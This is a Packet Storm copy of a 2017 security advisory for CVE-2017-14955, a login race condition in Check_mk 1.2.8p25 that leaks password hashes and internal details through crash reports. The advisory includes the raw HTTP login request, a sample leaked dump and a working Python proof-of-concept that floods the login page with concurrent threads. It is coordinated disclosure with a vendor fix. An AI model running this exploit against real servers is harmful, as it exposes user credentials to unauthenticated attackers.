Lucene search

K
packetstormJulien AhrensPACKETSTORM:144689
HistoryOct 19, 2017 - 12:00 a.m.

Check_mk 1.2.8p25 save_users() Race Condition

2017-10-1900:00:00
Julien Ahrens
packetstormsecurity.com
36

0.015 Low

EPSS

Percentile

87.1%

`RCE Security Advisory  
https://www.rcesecurity.com  
  
  
1. ADVISORY INFORMATION  
=======================  
Product: Check_mk  
Vendor URL: https://mathias-kettner.de/check_mk.html  
Type: Race Condition [CWE-362]  
Date found: 2017-09-21  
Date published: 2017-10-18  
CVSSv3 Score: 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)  
CVE: CVE-2017-14955  
  
  
2. CREDITS  
==========  
This vulnerability was discovered and researched by Julien Ahrens from  
RCE Security.  
  
  
3. VERSIONS AFFECTED  
====================  
Check_mk v1.2.8p25  
Check_mk v1.2.8p25 Enterprise  
older versions may be affected too.  
  
  
4. INTRODUCTION  
===============  
Check_MK is comprehensive IT monitoring solution in the tradition of Nagios.  
Check_MK is available as Raw Edition, which is 100% pure open source, and as  
Enterprise Edition with a lot of additional features and professional support.  
  
(from the vendor's homepage)  
  
  
5. VULNERABILITY DETAILS  
========================  
Check_mk is vulnerable to an unauthenticated information disclosure through a  
race condition during the authentication process when trying to authenticate  
with a valid username and an invalid password.  
  
On a failed login, the application calls the function save_users(), which  
performs two os.rename operations on the files "contacts.mk.new" and  
"users.mk.new" (see /packages/check_mk/check_mk-1.2.8p25/web/htdocs/userdb.py):  
  
[..]  
# Check_MK's monitoring contacts  
filename = root_dir + "contacts.mk.new"  
out = create_user_file(filename, "w")  
out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")  
out.write("contacts.update(\n%s\n)\n" % pprint.pformat(contacts))  
out.close()  
os.rename(filename, filename[:-4])  
  
# Users with passwords for Multisite  
filename = multisite_dir + "users.mk.new"  
make_nagios_directory(multisite_dir)  
out = create_user_file(filename, "w")  
out.write("# Written by Multisite UserDB\n# encoding: utf-8\n\n")  
out.write("multisite_users = \\\n%s\n" % pprint.pformat(users))  
out.close()  
os.rename(filename, filename[:-4])  
[...]  
  
When sending many concurrent authentication requests with an existing/valid  
username, such as:  
  
POST /check_mk/login.py HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---9519178121294961341040589727  
Content-Length: 772  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
---9519178121294961341040589727  
Content-Disposition: form-data; name="filled_in"  
  
login  
---9519178121294961341040589727  
Content-Disposition: form-data; name="_login"  
  
1  
---9519178121294961341040589727  
Content-Disposition: form-data; name="_origtarget"  
  
index.py  
---9519178121294961341040589727  
Content-Disposition: form-data; name="_username"  
  
omdadmin  
---9519178121294961341040589727  
Content-Disposition: form-data; name="_password"  
  
welcome  
---9519178121294961341040589727  
Content-Disposition: form-data; name="_login"  
  
Login  
---9519178121294961341040589727--  
  
Then it could happen that one of both os.rename() calls references a non-  
existing file, which has just been renamed by a previous thread. This causes the  
Python script to fail and throw a crash report, which discloses a variety of  
sensitive information, such as internal server paths, account details including  
hashed passwords:  
  
</pre></td></tr><tr class="data odd0"><td class="left">Local Variables</td><td><pre>{'contacts': {u'admin': {'alias': u'Administrator',  
'contactgroups': ['all'],  
'disable_notifications': False,  
'email': u'[email protected]',  
'enforce_pw_change': False,  
'last_pw_change': 0,  
'last_seen': 0.0,  
'locked': False,  
'num_failed': 0,  
'pager': '',  
'password': '$1$400000$13371337asdfasdf',  
'roles': ['admin'],  
'serial': 2},  
  
A script to automatically exploit this vulnerability can be found on [0].  
  
6. RISK  
=======  
To successfully exploit this vulnerability an unauthenticated attacker must only  
have network-level access to the application.  
  
The vulnerability allows remote attackers to trigger an exception, which  
discloses a variety of sensitive internal information such as:  
- Local server paths  
- Usernames  
- Passwords (hashed)  
- and user directory-specific attributes (i.e. LDAP)  
  
  
7. SOLUTION  
===========  
Update to 1.2.8p26.  
  
  
8. REPORT TIMELINE  
==================  
2017-09-21: Discovery of the vulnerability  
2017-09-21: Sent limited information to publicly listed email address  
2017-09-21: Vendor responds and asks for details  
2017-09-21: Full vulnerability details sent to vendor  
2017-09-25: Vendor pushes fix to git  
2017-10-01: MITRE assigns CVE-2017-14955  
2017-10-16: Fix confirmed  
2017-10-18: Public disclosure  
  
  
9. REFERENCES  
=============  
[0] https://www.rcesecurity.com/2017/10/cve-2017-14955-win-a-race-against-check-mk-to-dump-all-your-login-data/  
[1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14955  
  
  
Proof of concept:  
  
#!/usr/bin/python  
# Exploit Title: Check_mk <= v1.2.8p25 save_users() Race Condition  
# Version: <= 1.2.8p25  
# Date: 2017-10-18  
# Author: Julien Ahrens (@MrTuxracer)  
# Homepage: https://www.rcesecurity.com  
# Software Link: https://mathias-kettner.de/check_mk.html  
# Tested on: 1.2.8p25  
# CVE: CVE-2017-14955  
#  
# Howto / Notes:  
# This scripts exploits the Race Condition in check_mk version 1.2.8p25 and  
# below as described by CVE-2017-14955. You only need a valid username to  
# dump all encrypted passwords and make sure to setup a local proxy to  
# catch the dump. Happy brute forcing ;-)  
  
import requests  
import threading  
  
try:  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
except:  
pass  
  
# Config Me  
target_url = "https://localhost/check_mk/login.py"  
target_username = "omdadmin"  
  
proxies = {  
'http': 'http://127.0.0.1:8080',  
'https': 'http://127.0.0.1:8080',  
}  
  
def make_session():  
v = requests.post(target_url, verify=False, proxies=proxies, files={'filled_in': (None, 'login'), '_login': (None, '1'), '_origtarget': (None, 'index.py'), '_username': (None, target_username), '_password': (None, 'random'), '_login': (None, 'Login')})  
return v.content  
  
NUM = 50  
  
threads = []  
for i in range(NUM):  
t = threading.Thread(target=make_session)  
threads.append(t)  
t.start()  
  
  
`